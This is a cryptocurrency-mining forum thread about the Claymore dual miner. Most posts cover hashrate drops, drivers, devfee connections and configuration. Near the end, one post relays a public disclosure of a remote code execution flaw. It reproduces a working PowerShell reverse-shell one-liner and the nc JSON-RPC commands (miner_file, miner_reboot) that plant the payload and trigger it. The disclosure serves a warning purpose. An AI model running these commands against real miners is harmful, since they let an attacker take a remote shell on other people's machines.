Hi

I just got Windows 10 update and my hashes went down from 180 to 107 on 6x rx580

anyone with the same problem, solution maybe?

reinstall the AMD driver

What does this mean in the log:the lines in bold

00:47:50:494   860   ETH: 03/13/18-00:47:50 - New job from us1.ethermine.org:4444

00:47:50:494   860   gpu #1 dt 0.13 (0%, good)

Anyone answer this question?
I'm also wondering what is this mean?

It's for debug purposes, don't pay any attention to it.

Thanks @Claymore for the feedback! cheers!

Hey jongjin

Have a nice day. You just got blocked by me.

Is it possible now or in a future version to move dcri and dcoin settings to dpools.txt?

[kainplan]

Hi,

I have some problems with one of two rigs since ~1-2Days. The hashrate shown by pool dropped significantly (~40-50%) while miner shows correct values. I recognized that many shares were not accepted. Also I have many pool switches lately on both rigs.

Any ideas what might be the problem? The other rig is working perfectly fine on same pool and standing in the same location. It's quite hot the last days but the cards are running fine at 60-70°C and 86-90%, 78W. The rig is running with Linux (the other one Win10), Claymore11.6 and via WLAN (the windows one too - 72Mbit/s, perfect connection).

The only thing I changed lately was reducing GPU3s Memclock by some Mhz because I got many incorrect shares.

Finally managed to get 11.7 running in ubuntu, had an issue where the miner couldn't find libcurl.so.4.
Only thing now is, for some reason the miner started mining devfee. Of course I don't mind except that I'm using a 1060 3gb and devfee is not supposed to mine on them anymore right?

[papampi]

I keep getting this error on some of my workers randomly, any way to force Devfee to connect to normal port and not SSL/TLS ?

Code:

DevFee: ETH: Stratum - connecting to 'eu1.ethermine.org' <51.255.64.43> port 5555 (SSL/TLS)

Mining on linux, Nvidia
Miner command :

Code:

./ethdcrminer64 -epool eu1.ethermine.org:4444 -ewal walet.worker -epsw x -mode 1 -dbg -1 -esm 1 

Some workers keep disconnecting and reconnecting because they cannot connect to Devpool.
Tried to set -allpools 1, and still miner tries to connect to same ssl port and after many fails it goes to normal

This is what happens when Dev fee kicks in:




Many workers go red or no reported hashrate



Any helps?

my rigs have been running great, and now with the windows update nothing but crap.  I removed the windows update, however I still keep getting cant create Dag file gpu hangs in opencl call.  5 of the 7 run.  The program also sits at the  point of showing my gpus for several minutes, where it used to zip right thru to showing my gpus and setting the dag files.  I have done ddu and reinstalled blockchain drivers but still have the same issues.  Any info would be greatly appreciated

Use 18.x.x if updated to recent version (17.09 or so ). Blockchain drivers are good for 16.08. And revert works as it should only if it was fresh install/update.

What did you do to get it running?  Hopefully you found a workaround that allows you to have both libcurl4 and libcurl3 installed.

now at 11.7 it is no fee for 3gb in windows10

Same for 3GB cards in Windows10.

Claymore will always devfee on the ssl 5555 port if you use a pool that has the ssl enabled.
If you fix the issues with your connections that problem will go away. The problem is on your end.
He uses that port because of all the cheats out there that can bypass the devfee if he mines to the non secure 4444 port.
I don't blame him.

Is it possible now or in a future version to move dcri and dcoin settings to dpools.txt?

Interesting question, why would you want to do that?
Pools relates to, (references), the pool and fallback pools you're mining with.

dcri relates to the hardware, tuning etc, (no relation to pool, at least not that I can see).

What situation are you trying to solve here?

Note: You can very easily have multiple batch files, containing a full config set, or use the config.txt for hardware setup, (dcri etc), and use a simplified batchfile to start, (referencing config.txt and pool.txt files).

Claymore is pretty nicely architectured in that sense, multiple configuration methods, depending on your use case or preference.

Also, a note on "moving", changing architecture in such a drastic way, is generally a very bad idea, unless there is a specific showstopper bug, (not likely in a more mature package). But essentially if you do that, you have a branch, and create a legacy of shit for users.
The mature users will know the old way, and the new users will probably only know the new way.

The reality of this is, endless questions about why "it" does not work from the very same people who never read the readme.

This is still an interesting question though, can you please add some background as to why you'd want dcri in the pools.txt file?

Happy mining.

Hi! Happy mining to all!

Newbies's  here! I use Claymore with 6x RX 580 GPUs on Windows 10 1803 and Radeon blockchain driver. The mode is ETH solo and here is my configs:

Code:

EthDcrMiner64.exe -epool eu2.ethermine.org:4444 -ewal 0xxxxxxxxxxxxxxxxxxxxxxxxxxx. -epsw x -ethi 4 -tt 68 -fanmin 80

When I use all 6 GPUs my system reboots every 5-10 minutes (with help of the watchog). When I use only 3-4 GPU it works perfectly. I tried to use different ones - any of them work well.

Is the cause in my power supply? It is some chinese branded 1600 W for $160. Or may be any other reasons for this case?

it's 1803 and driver combo.

[LJLT]

Anyone has anyidea whats happening with ethermine.org? or is it Claymore or what? is it my connection?

I got Failovers but the hashrate is the same as always

Hi Claymore,

Can you add new event in EthereumManager - about rejected shares.
Not sure if it could be managed by user - to target specific ratio accepted/rejected, to put some limit, etc.
Or at least to be preset by you - rejected shares as % of the accepted.

The point is to get notification that a GPU is not working properly for some reason (pool, clock, whatever).
So that a proper action could be taken.

I hope you understand my desire.
In case that this is already possible in the remote manager - sorry for bothering. But please point how to do it.

Thanks
KVV

For 3GB Mining on Win10, use 376.33 Version of Nvidia Driver. Now, It is working without -eres command.

Thank you for the answer. But I read many messages before - people wrote here that they use the newest Windows version with blockchain drivers and it works fine.
What driver do you suggest to use in this case?

FYI a remote exploit for v7.3+ was made public:

https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/
https://www.exploit-db.com/exploits/44638/

Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:
 
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
 
Convert it into hexadecimal and paste it on the second parameter inside this string:
 
echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v
 
Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.
 
echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v
 
You got the shell!
 
This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.

It's unclear if this issue has been fixed or not, feel free to provide more information on what versions if was fixed on if so.

Before continuing to read I want to clarify that I already emailed nanopool without receiving any kind or response, so I’m publicly disclosure this vulnerability waiting for a CVE assignment.
